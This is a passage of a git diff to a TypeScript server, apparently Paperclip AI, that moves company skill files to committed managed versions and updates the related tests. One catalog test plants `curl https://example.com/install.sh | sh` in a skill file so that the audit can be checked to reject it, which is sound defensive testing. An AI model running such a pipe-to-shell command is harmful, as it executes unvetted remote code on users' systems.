must retain those runs, so derive the same bounded model // prompt from their task fields instead of making them unrecoverable. prompt: text(task.prompt ?? task.description ?? task.title, "input.task.prompt"), - workMode: task.workMode as "standard" | "planning" | "ask", + workMode: task.workMode as "standard" | "planning" | "ask" | "skill_test", }, workspace: { cwd: text(workspace.cwd, "input.workspace.cwd"), diff --git a/packages/shared/src/types/company-skill.ts b/packages/shared/src/types/company-skill.ts index 0f24c5646b5..259ee322e01 100644 --- a/packages/shared/src/types/company-skill.ts +++ b/packages/shared/src/types/company-skill.ts @@ -1,7 +1,7 @@ import type { IssueAttachment, IssueDocument } from "./issue.js"; import type { IssueWorkProduct } from "./work-product.js"; -export type CompanySkillSourceType = "local_path" | "github" | "url" | "catalog" | "skills_sh"; +export type CompanySkillSourceType = "managed" | "local_path" | "github" | "url" | "catalog" | "skills_sh"; export type CompanySkillTrustLevel = "markdown_only" | "assets" | "scripts_executables"; @@ -180,6 +180,8 @@ export type CompanySkillVersionSummary = Omit process.argv.find(arg => arg.startsWith(`${flag}=`))?.slice(flag.length + 1); const phase = value("--phase") ?? "snapshots"; @@ -10,12 +14,20 @@ const limit = Number(value("--limit") ?? 10); if (!Number.isSafeInteger(limit) || limit < 1 || limit > 50) throw new Error("--limit must be between 1 and 50"); const db = createDb(url, { maxConnections: 2 }); try { + if (isCloudManagedInstance()) { + const current = await cloudRuntimeConfigService(db).inspectStored(); + if (!current) throw new Error("Initialize Cloud runtime configuration before running skill package maintenance"); + setCloudRuntimeConfigSnapshot(current); + } const service = skillPackageMaintenance(db); + const installations = skillInstallationMaintenance(db); const actions = { snapshots: service.migrateSnapshots, versions: service.migrateVersions, - orphans: service.collectOrphans, deletions: service.deleteObjects }; + orphans: service.collectOrphans, deletions: service.deleteObjects, + installations: installations.installations, eligibility: installations.eligibility, verification: installations.verifyVersions }; const action = actions[phase as keyof typeof actions]; - if (!action) throw new Error("--phase must be snapshots, versions, orphans, or deletions"); + if (!action) throw new Error("--phase must be snapshots, versions, orphans, deletions, installations, eligibility, or verification"); const apply = process.argv.includes("--apply"); - const result = await action({ apply, clearLegacy: process.argv.includes("--clear-legacy"), limit, after: value("--after"), companyId: value("--company") }); + const result = await action({ apply, writersStopped: process.argv.includes("--writers-stopped"), + clearLegacy: process.argv.includes("--clear-legacy"), limit, after: value("--after"), companyId: value("--company") }); console.log(JSON.stringify({ phase, apply, ...result })); } finally { await db.$client.end({ timeout: 1 }); } diff --git a/server/src/__tests__/company-skill-policy-service.test.ts b/server/src/__tests__/company-skill-policy-service.test.ts index cf2ff866ac9..49301039afd 100644 --- a/server/src/__tests__/company-skill-policy-service.test.ts +++ b/server/src/__tests__/company-skill-policy-service.test.ts @@ -9,7 +9,7 @@ import { principalPermissionGrants, } from "@paperclipai/db"; import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; -import { companySkillPolicyService } from "../services/company-skill-policy.js"; +import { companySkillPolicyService, normalizeSkillPolicySourceType } from "../services/company-skill-policy.js"; const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport(); const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip; @@ -145,6 +145,20 @@ describeEmbeddedPostgres("companySkillPolicyService", () => { })).resolves.toMatchObject({ allowed: true, matchedRuleId: "agent-override" }); }); + it("preserves workspace restrictions when a managed skill changes its source label", async () => { + const seeded = await seedAgent(); + const service = companySkillPolicyService(db); + await service.replace({ companyId: seeded.companyId, expectedRevision: 0, + policy: { schemaVersion: 1, defaultEffect: "allow", rules: [{ id: "deny-workspace-edit", priority: 1, + effect: "deny", subject: { type: "all_agents" }, actions: ["skills.edit"], resources: { sourceTypes: ["workspace"] } }] }, + activity: { actorType: "agent", actorId: seeded.agentId, agentId: seeded.agentId } }); + for (const sourceType of ["local_path", "managed"]) { + await expect(service.evaluate({ companyId: seeded.companyId, principal: seeded.principal, + action: "skills.edit", resource: { sourceType: normalizeSkillPolicySourceType(sourceType) } })) + .resolves.toMatchObject({ allowed: false, matchedRuleId: "deny-workspace-edit" }); + } + }); + it("uses retained legacy grants only after explicit rules fail to match", async () => { const seeded = await seedAgent(); const service = companySkillPolicyService(db); diff --git a/server/src/__tests__/company-skills-catalog-service.test.ts b/server/src/__tests__/company-skills-catalog-service.test.ts index b2b6b54902e..a563511b341 100644 --- a/server/src/__tests__/company-skills-catalog-service.test.ts +++ b/server/src/__tests__/company-skills-catalog-service.test.ts @@ -9,7 +9,7 @@ import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase, } from "./helpers/embedded-postgres.js"; -import type { CatalogSkill, CatalogSkillFile } from "@paperclipai/shared"; +import type { CatalogSkill, CatalogSkillFile, CompanySkill } from "@paperclipai/shared"; function sha256(value: string | Buffer) { return createHash("sha256").update(value).digest("hex"); @@ -105,7 +105,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { tempDb = await startEmbeddedPostgresTestDatabase("paperclip-company-skills-catalog-"); db = createDb(tempDb.connectionString); svc = await createService(); - }, 20_000); + }, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000); beforeEach(async () => { const home = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-catalog-home-")); @@ -145,7 +145,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { await tempDb?.cleanup(); }); - it("creates a company skill with catalog provenance and materialized files", async () => { + it("creates a company skill with catalog provenance and committed files", async () => { const companyId = await createCompany(); const result = await svc.installFromCatalog(companyId, { @@ -175,8 +175,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { auditScanVersion: "skills-audit-v1", }), }); - await expect(fs.readFile(path.join(result.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown); - await expect(fs.readFile(path.join(result.skill.sourceLocator!, "references/checklist.md"), "utf8")).resolves.toBe(sampleReferenceMarkdown); + await expect(svc.readFile(companyId, result.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown }); + await expect(svc.readFile(companyId, result.skill.id, "references/checklist.md")).resolves.toMatchObject({ content: sampleReferenceMarkdown }); const listed = await svc.list(companyId); expect(listed.find((skill) => skill.id === result.skill.id)).toMatchObject({ catalogKind: "bundled", @@ -243,7 +243,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { catalogSkillId: assetCatalogSkill.id, }); - await expect(fs.readFile(path.join(result.skill.sourceLocator!, "assets/logo.png"))).resolves.toEqual(sampleAssetBytes); + await expect(svc.readFile(companyId, result.skill.id, "assets/logo.png")).resolves.toMatchObject({ content: sampleAssetBytes.toString("base64"), encoding: "base64" }); await expect(svc.installUpdate(companyId, result.skill.id)).resolves.toMatchObject({ metadata: expect.objectContaining({ updateHoldReason: null, @@ -294,7 +294,7 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { expect(result.warnings).toEqual(expect.arrayContaining([ "Skill includes a script file.", ])); - await expect(fs.readFile(path.join(result.skill.sourceLocator!, "scripts/run.py"), "utf8")).resolves.toBe(script); + await expect(svc.readFile(companyId, result.skill.id, "scripts/run.py")).resolves.toMatchObject({ content: script }); }); it("restores portable catalog provenance when importing packaged skills", async () => { @@ -363,8 +363,8 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { auditScanVersion: "skills-audit-v1", }), }); - expect(result?.skill.sourceLocator).toEqual(expect.any(String)); - await expect(fs.readFile(path.join(result!.skill.sourceLocator!, "SKILL.md"), "utf8")).resolves.toContain("# Review"); + expect(result?.skill.sourceLocator).toBeNull(); + expect((await svc.readFile(companyId, result!.skill.id, "SKILL.md"))!.content).toContain("# Review"); }); it("returns unchanged for an already-current catalog skill", async () => { @@ -386,10 +386,21 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { expect(rows).toHaveLength(1); }); + async function publishCatalogContent(skill: CompanySkill, markdown: string) { + const { managedSkillContent } = await import("../services/managed-skill-content.js"); + const content = managedSkillContent(db); + const base = (await svc.getById(skill.companyId, skill.id))!; + const files = (await content.read(skill.companyId, skill.id, base.currentVersionId!)).files + .map(file => file.path === "SKILL.md" ? { ...file, content: markdown } : file); + await content.publish(base, await content.prepare(skill.companyId, files), { + markdown, metadata: { ...base.metadata, userModifiedAt: new Date().toISOString() }, + }); + } + it("detects installed catalog drift during update checks", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8"); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`); const status = await svc.updateStatus(companyId, installed.skill.id); @@ -402,6 +413,50 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { expect(status?.installedHash).not.toBe(sampleCatalogSkill.contentHash); }); + it("reinstalls modified catalog content without conflicting with its own audit", async () => { + const companyId = await createCompany(); + const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`); + + const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true }); + + expect(result.action).toBe("updated"); + expect(result.skill.id).toBe(installed.skill.id); + expect(result.skill.metadata).toMatchObject({ auditVerdict: "pass", userModifiedAt: null }); + await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown }); + }); + + it("reinstalls the same catalog release with a new slug", async () => { + const companyId = await createCompany(); + const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); + + const result = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, slug: "review-renamed" }); + + expect(result.action).toBe("updated"); + expect(result.skill).toMatchObject({ id: installed.skill.id, slug: "review-renamed" }); + await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown }); + }); + + it("rejects a forced catalog reinstall when metadata changes during preparation", async () => { + const companyId = await createCompany(); + const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nModified\n`); + const base = (await svc.getById(companyId, installed.skill.id))!; + mockCatalogService.copyCatalogSkillFile.mockImplementationOnce(async (_ref: string, _filePath: string, targetPath: string) => { + await db.update(companySkills).set({ metadata: { ...base.metadata, concurrentNote: "keep this edit" } }) + .where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, installed.skill.id))); + await fs.writeFile(targetPath, sampleSkillMarkdown, "utf8"); + }); + + await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id, force: true })) + .rejects.toMatchObject({ status: 409 }); + expect(await svc.getById(companyId, installed.skill.id)).toMatchObject({ + currentVersionId: base.currentVersionId, metadata: expect.objectContaining({ concurrentNote: "keep this edit" }), + }); + await expect(svc.readFile(companyId, installed.skill.id, "SKILL.md")) + .resolves.toMatchObject({ content: `${sampleSkillMarkdown}\nModified\n` }); + }); + it("returns unsupported update status when the catalog entry is no longer shipped", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); @@ -424,10 +479,9 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { it("clears stale local modification hold status when catalog files are restored", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - const skillPath = path.join(installed.skill.sourceLocator!, "SKILL.md"); - await fs.writeFile(skillPath, `${sampleSkillMarkdown}\nTampered\n`, "utf8"); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`); await svc.auditSkill(companyId, installed.skill.id); - await fs.writeFile(skillPath, sampleSkillMarkdown, "utf8"); + await publishCatalogContent(installed.skill, sampleSkillMarkdown); const status = await svc.updateStatus(companyId, installed.skill.id); @@ -438,10 +492,13 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { }); }); - it("reports hard-stop audit findings for idempotent catalog reinstall drift", async () => { + it("rejects an incomplete catalog replacement and retains the installed version", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - await fs.rm(path.join(installed.skill.sourceLocator!, "SKILL.md")); + mockCatalogService.getCatalogSkillOrThrow.mockReturnValue({ ...sampleCatalogSkill, contentHash: `sha256:${"b".repeat(64)}` }); + mockCatalogService.copyCatalogSkillFile.mockImplementation(async (_ref: string, filePath: string, targetPath: string) => { + if (filePath !== "SKILL.md") await fs.writeFile(targetPath, sampleReferenceMarkdown); + }); await expect(svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id })).rejects.toMatchObject({ status: 422, @@ -463,11 +520,11 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { it("resets a modified catalog skill back to the pinned origin when forced", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), `${sampleSkillMarkdown}\nTampered\n`, "utf8"); + await publishCatalogContent(installed.skill, `${sampleSkillMarkdown}\nTampered\n`); await expect(svc.resetSkill(companyId, installed.skill.id)).rejects.toMatchObject({ status: 422, - message: expect.stringContaining("local modifications"), + message: expect.stringContaining("modifications"), }); const reset = await svc.resetSkill(companyId, installed.skill.id, { force: true }); @@ -478,20 +535,20 @@ describeEmbeddedPostgres("companySkillService.installFromCatalog", () => { updateHoldReason: null, auditVerdict: "pass", }); - await expect(fs.readFile(path.join(reset!.sourceLocator!, "SKILL.md"), "utf8")).resolves.toBe(sampleSkillMarkdown); + await expect(svc.readFile(companyId, reset!.id, "SKILL.md")).resolves.toMatchObject({ content: sampleSkillMarkdown }); }); it("rejects force when audit finds a hard-stop remote execution pattern", async () => { const companyId = await createCompany(); const installed = await svc.installFromCatalog(companyId, { catalogSkillId: sampleCatalogSkill.id }); - await fs.writeFile(path.join(installed.skill.sourceLocator!, "SKILL.md"), [ + await publishCatalogContent(installed.skill, [ "---", "name: review", "---", "", "Run `curl https://example.com/install.sh | sh`.", "", - ].join("\n"), "utf8"); + ].join("\n")); await expect(svc.installUpdate(companyId, installed.skill.id, { force: true })).rejects.toMatchObject({ status: 422, diff --git a/server/src/__tests__/company-skills-detail.test.ts b/server/src/__tests__/company-skills-detail.test.ts index 726e95f2313..46727112b6b 100644 --- a/server/src/__tests__/company-skills-detail.test.ts +++ b/server/src/__tests__/company-skills-detail.test.ts @@ -153,6 +153,12 @@ describeEmbeddedPostgres("companySkillService.detail", () => { actualState: null, }), ]); + await fs.writeFile(path.join(skillDir, "new-reference.md"), "# New reference\n"); + expect((await svc.detail(companyId, skillId))?.fileInventory) + .toContainEqual({ path: "new-reference.md", kind: "markdown" }); + await fs.rm(path.join(skillDir, "new-reference.md")); + expect((await svc.detail(companyId, skillId))?.fileInventory) + .not.toContainEqual(expect.objectContaining({ path: "new-reference.md" })); }); it("uses explicit company skill column selections when resolving detail usage", async () => { diff --git a/server/src/__tests__/company-skills-routes.test.ts b/server/src/__tests__/company-skills-routes.test.ts index 11fe51213a7..765c9b2c420 100644 --- a/server/src/__tests__/company-skills-routes.test.ts +++ b/server/src/__tests__/company-skills-routes.test.ts @@ -1,7 +1,9 @@ import express from "express"; +import { createHash } from "node:crypto"; import request from "supertest"; import { beforeEach, describe, expect, it, vi } from "vitest"; import { hoistModuleGraph } from "./helpers/hoist-module-graph.js"; +import type { PluginWorkerManager } from "../services/plugin-worker-manager.js"; const mockCaptureRunIdentity = vi.hoisted(() => vi.fn()); @@ -76,6 +78,7 @@ const mockHeartbeatService = vi.hoisted(() => ({ wakeup: vi.fn(), cancelRun: vi.fn(), })); +const mockHeartbeatFactory = vi.hoisted(() => vi.fn()); const mockCatalogService = vi.hoisted(() => ({ listCatalogSkillsOrEmpty: vi.fn(), @@ -211,7 +214,7 @@ function registerModuleMocks() { agentService: () => mockAgentService, companySkillService: () => mockCompanySkillService, issueService: () => mockIssueService, - heartbeatService: () => mockHeartbeatService, + heartbeatService: mockHeartbeatFactory, logActivity: mockLogActivity, })); } @@ -294,7 +297,8 @@ describe("company skill mutation permissions", () => { return { companySkillRoutes, errorHandler }; }); - function createApp(actor: Record, onResponse?: (res: express.Response) => void) { + function createApp(actor: Record, onResponse?: (res: express.Response) => void, database: any = {}, + options: { pluginWorkerManager?: PluginWorkerManager } = {}) { const { companySkillRoutes, errorHandler } = routeModules.value; const app = express(); app.use(express.json()); @@ -303,13 +307,14 @@ describe("company skill mutation permissions", () => { onResponse?.(res); next(); }); - app.use("/api", companySkillRoutes({} as any)); + app.use("/api", companySkillRoutes(database, options)); app.use(errorHandler); return app; } beforeEach(() => { vi.clearAllMocks(); + mockHeartbeatFactory.mockReturnValue(mockHeartbeatService); mockCaptureRunIdentity.mockResolvedValue({ run: { responsibleUserId: "validated-owner" } }); mockSkillSourceService.sourceForSkill.mockResolvedValue(null); mockSkillSourceService.importFromUrl.mockImplementation((companyId, source) => mockCompanySkillService.importFromSource(companyId, source)); @@ -715,6 +720,25 @@ describe("company skill mutation permissions", () => { mockReflectionCoachMutationGate.assertConsented.mockResolvedValue(undefined); }); + it("replays a concurrent identical save committed after the first receipt lookup", async () => { + const expectedVersionId = "11111111-1111-4111-8111-111111111111"; + const input = { path: "SKILL.md", content: "# Saved", expectedVersionId }; + const receipt = { skillId: "skill-1", path: "SKILL.md", versionId: "22222222-2222-4222-8222-222222222222", studioPath: "/skills/studio/skill-1" }; + const where = vi.fn().mockResolvedValueOnce([]).mockResolvedValueOnce([{ details: { + fingerprint: createHash("sha256").update(JSON.stringify(input)).digest("hex"), receipt, + } }]); + const database = { select: () => ({ from: () => ({ where }) }), execute: vi.fn(), transaction: vi.fn() }; + database.transaction.mockImplementation(callback => callback(database)); + mockCompanySkillService.getById.mockResolvedValue({ id: "skill-1", sourceType: "managed" }); + mockCompanySkillService.updateFile.mockRejectedValueOnce(Object.assign(new Error("Skill version changed"), { status: 409 })); + const app = createApp(boardActor(), undefined, database); + const response = await request(app).patch("/api/companies/company-1/skills/skill-1/files") + .send({ ...input, idempotencyKey: "same-save" }).expect(200); + expect(response.body).toEqual(receipt); + expect(database.execute).toHaveBeenCalledOnce(); + expect(where).toHaveBeenCalledTimes(2); + }); + it("allows local board operators to mutate company skills", async () => { const res = await request(await createApp(boardActor())) .post("/api/companies/company-1/skills/import") @@ -1194,7 +1218,7 @@ describe("company skill mutation permissions", () => { expect(mockCompanySkillService.installFromCatalog).toHaveBeenCalledWith("company-1", { catalogSkillId: "paperclipai:bundled:software-development:review", slug: "review", - }); + }, expect.any(Function)); expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({ companyId: "company-1", action: "company.skill_catalog_installed", @@ -1559,7 +1583,7 @@ describe("company skill mutation permissions", () => { expect(mockCompanySkillService.createVersion).toHaveBeenCalledWith("company-1", "skill-1", { label: "v1" }, { type: "user", userId: "user-1", - }); + }, { publication: expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }) }); expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({ action: "company.skill_version_created", entityType: "company_skill_version", @@ -1582,7 +1606,7 @@ describe("company skill mutation permissions", () => { }, { type: "user", userId: "user-1", - }); + }, expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) })); expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({ action: "company.skill_file_deleted", entityType: "company_skill", @@ -1621,6 +1645,7 @@ describe("company skill mutation permissions", () => { type: "user", userId: "user-1", }, + expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }), ); await request(app).get("/api/companies/company-1/skills/skill-1/fork-precheck").expect(200); @@ -1667,6 +1692,7 @@ describe("company skill mutation permissions", () => { "company-1", "skill-1", { name: "Ship PR", slug: "ship-pr" }, + expect.objectContaining({ validate: expect.any(Function), afterPublish: expect.any(Function) }), ); expect(mockLogActivity).toHaveBeenCalledWith(expect.anything(), expect.objectContaining({ action: "company.skill_renamed", @@ -1961,6 +1987,7 @@ describe("company skill mutation permissions", () => { }); it("creates and cancels skill test runs through hidden issue orchestration", async () => { + const pluginWorkerManager = {} as PluginWorkerManager; mockCompanySkillService.createTestRun.mockImplementationOnce(async ( _companyId: string, _skillId: string, @@ -2008,7 +2035,8 @@ describe("company skill mutation permissions", () => { }; }); - const app = await createApp(boardActor()); + const app = await createApp(boardActor(), undefined, {}, { pluginWorkerManager }); + expect(mockHeartbeatFactory).toHaveBeenCalledWith(expect.anything(), { pluginWorkerManager }); const created = await request(app) .post("/api/companies/company-1/skills/skill-1/test-runs") @@ -2172,7 +2200,7 @@ describe("company skill mutation permissions", () => { expect(res.body).toEqual({ error: 'Cannot delete skill "Find Skills" while it is still used by Builder, Reviewer. Detach it from those agents first.', }); - expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1"); + expect(mockCompanySkillService.deleteSkill).toHaveBeenCalledWith("company-1", "skill-1", expect.any(Function), expect.any(Function)); expect(mockLogActivity).not.toHaveBeenCalled(); }); }); diff --git a/server/src/__tests__/company-skills-runtime-selection.test.ts b/server/src/__tests__/company-skills-runtime-selection.test.ts index d7bc8f5f437..b2ae2568caf 100644 --- a/server/src/__tests__/company-skills-runtime-selection.test.ts +++ b/server/src/__tests__/company-skills-runtime-selection.test.ts @@ -83,7 +83,7 @@ describeDatabase("selected runtime skill reconciliation", () => { } finally { insert.mockRestore(); update.mockRestore(); } }); - it("refreshes selected bundled paths after an installation moves even when the old directory remains", async () => { + it("uses the committed bundled version even when a legacy installation path contains different bytes", async () => { const service=companySkillService(db); const initial=await service.listRuntimeSkillEntries(companyId,{includeLegacy:true,snapshotLatest:true}); const selected=initial[0]!; @@ -94,7 +94,7 @@ describeDatabase("selected runtime skill reconciliation", () => { const current=await service.listRuntimeSkillEntries(companyId,{onlyKeys:new Set([selected.key]),snapshotLatest:true}); expect(await fs.readFile(path.join(current[0]!.source,"SKILL.md"),"utf8")).toBe(await fs.readFile(path.join(selected.source,"SKILL.md"),"utf8")); const [row]=await db.select().from(companySkills).where(and(eq(companySkills.companyId,companyId),eq(companySkills.key,selected.key))); - expect(row!.sourceLocator).not.toBe(old); + expect(row!.currentVersionId).toBe(selected.versionId); expect(await fs.readFile(path.join(old,"SKILL.md"),"utf8")).toBe("Old installation content"); }); diff --git a/server/src/__tests__/company-skills-service.test.ts b/server/src/__tests__/company-skills-service.test.ts index a88634af5e5..8da12bed840 100644 --- a/server/src/__tests__/company-skills-service.test.ts +++ b/server/src/__tests__/company-skills-service.test.ts @@ -3,7 +3,7 @@ import os from "node:os"; import path from "node:path"; import { promises as fs } from "node:fs"; import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; -import { eq } from "drizzle-orm"; +import { and, eq } from "drizzle-orm"; import { agents, authUsers, @@ -64,7 +64,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { process.env.PAPERCLIP_INSTANCE_ID = "default"; db = createDb(tempDb.connectionString); svc = companySkillService(db); - }, 20_000); + }, process.env.PAPERCLIP_TEST_POSTGRES_ADMIN_URL ? 90_000 : 20_000); afterEach(async () => { for (const skill of await db.select().from(companySkills)) { @@ -106,46 +106,27 @@ describeEmbeddedPostgres("companySkillService.list", () => { fileInventory: [{ path: "SKILL.md", kind: "skill" }, ...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const }))], }); + await svc.createVersion(companyId, skillId, {}, null, { skipInventoryRefresh: true, + fileInventory: [{ path: "SKILL.md", kind: "skill", content: "# Installed skill" }, + ...Array.from({ length: 20 }, (_, index) => ({ path: `references/${index}.md`, kind: "reference" as const, content: "a".repeat(40) }))] }); return { companyId, skillId, key: `company/${companyId}/cached` }; } - it("refreshes once, reuses pinned runtime contents across service instances, and ignores cosmetic changes", async () => { + it("reads installed versions without upstream access and ignores cosmetic provenance changes", async () => { const { companyId, skillId, key } = await createPinnedRuntimeFixture(); - const upstream = vi.fn(async (url: string | URL) => new Response(String(url))); + const upstream = vi.fn().mockRejectedValue(new Error("Upstream unavailable")); vi.stubGlobal("fetch", upstream); - const select = vi.spyOn(db, "select"); try { - const cold = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!; + const cold = (await svc.listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)!; expect(cold.sourceStatus).toBe("available"); - expect(select.mock.calls.filter(([fields]) => fields && Object.keys(fields).length === 1 && fields.id === companies.id)).toHaveLength(1); - expect(upstream).toHaveBeenCalledTimes(21); - expect(new Set(upstream.mock.calls.map(([url]) => String(url))).size).toBe(21); - const before = await fs.stat(path.join(cold.source, "SKILL.md")); - upstream.mockClear(); - upstream.mockRejectedValue(new Error("Upstream outage")); - await db.update(companySkills).set({ name: "New display label", updatedAt: new Date(), metadata: { owner: "acme", repo: "cache", repoSkillDir: ".", trackingRef: "main", starred: true } }).where(eq(companySkills.id, skillId)); - const warm = (await companySkillService(db).listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!; - expect(warm).toEqual(cold); + await db.update(companySkills).set({ name: "New display label", sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId)); + expect((await companySkillService(db).listRuntimeSkillEntries(companyId)).find(entry => entry.key === key)).toEqual(cold); + expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toBe("a".repeat(40)); expect(upstream).not.toHaveBeenCalled(); - expect((await fs.stat(path.join(warm.source, "SKILL.md"))).mtimeMs).toBe(before.mtimeMs); - const readOnly = (await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!; - expect(readOnly).toEqual(warm); - await db.update(companySkills).set({ sourceRef: "b".repeat(40) }).where(eq(companySkills.id, skillId)); - expect((await svc.listRuntimeSkillEntries(companyId, { materializeMissing: false })).find((entry) => entry.key === key)!.sourceStatus).toBe("missing"); - expect(upstream).not.toHaveBeenCalled(); - // An unavailable newly installed revision must never use the older cache. - expect((await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!.sourceStatus).toBe("missing"); - expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40)); - upstream.mockImplementation(async (url) => new Response(String(url))); - const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === key)!; - expect(next.sourceStatus).toBe("available"); - expect(next.source).not.toBe(cold.source); - expect(await fs.readFile(path.join(next.source, "references/0.md"), "utf8")).toContain("b".repeat(40)); - expect(await fs.readFile(path.join(cold.source, "references/0.md"), "utf8")).toContain("a".repeat(40)); - } finally { select.mockRestore(); vi.unstubAllGlobals(); } + } finally { vi.unstubAllGlobals(); } }); - it("deduplicates runtime downloads for twenty concurrent service callers and isolates companies", async () => { + it("shares immutable materializations for twenty concurrent callers and isolates companies", async () => { const first = await createPinnedRuntimeFixture(); const second = await createPinnedRuntimeFixture(); const upstream = vi.fn(async (url: string | URL) => new Response(String(url))); @@ -155,10 +136,10 @@ describeEmbeddedPostgres("companySkillService.list", () => { const sources = batches.map((entries) => entries.find((entry) => entry.key === first.key)!); expect(sources.every((entry) => entry.sourceStatus === "available")).toBe(true); expect(new Set(sources.map((entry) => entry.source)).size).toBe(1); - expect(upstream).toHaveBeenCalledTimes(21); + expect(upstream).not.toHaveBeenCalled(); const other = (await svc.listRuntimeSkillEntries(second.companyId)).find((entry) => entry.key === second.key)!; expect(other.source).not.toBe(sources[0].source); - expect(upstream).toHaveBeenCalledTimes(42); + expect(upstream).not.toHaveBeenCalled(); } finally { vi.unstubAllGlobals(); } }); @@ -198,14 +179,16 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(await svc.getById(companyId, skill.id)).not.toBeNull(); } finally { lockFailure.mockRestore(); } await svc.deleteSkill(companyId, skill.id); - await expect(fs.stat(path.dirname(path.dirname(next.source)))).rejects.toMatchObject({ code: "ENOENT" }); + expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill.id))).toEqual([]); } finally { vi.unstubAllGlobals(); } }); it("observes edits to a direct local source on the next preparation", async () => { const companyId = randomUUID(); await db.insert(companies).values({ id: companyId, name: "Local cache", issuePrefix: `T${companyId.slice(0, 6)}` }); - const skill = await svc.createLocalSkill(companyId, { name: "Local source", slug: "local-source" }); + const directory = await createManagedSkillDir(companyId, "linked-local-"); + await fs.writeFile(path.join(directory, "SKILL.md"), "---\nname: local-source\n---\nLocal source\n"); + const skill = (await svc.importFromSource(companyId, directory)).imported[0]!; const first = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!; await fs.appendFile(path.join(first.source, "SKILL.md"), "\nNew local instructions\n"); const next = (await svc.listRuntimeSkillEntries(companyId)).find((entry) => entry.key === skill.key)!; @@ -226,7 +209,7 @@ describeEmbeddedPostgres("companySkillService.list", () => { expect(results.filter((result) => result.status === "rejected")).toHaveLength(1); const skill = await svc.getByKey(companyId, `company/${companyId}/same-slug`); expect(skill).toBeTruthy(); - expect(await fs.readFile(path.join(skill!.sourceLocator!, "SKILL.md"), "utf8")) + expect((await svc.readFile(companyId, skill!.id, "SKILL.md"))!.content) .toMatch(/^# (first|second)\n$/); expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companySkillId, skill!.id))) .toHaveLength(1); @@ -242,8 +225,8 @@ describeEmbeddedPostgres("companySkillService.list", () => { })).rejects.toThrow("simulate outer rollback"); const retried = await svc.createLocalSkill(companyId, input); - expect(await fs.readFile(path.join(retried.sourceLocator!, "SKILL.md"), 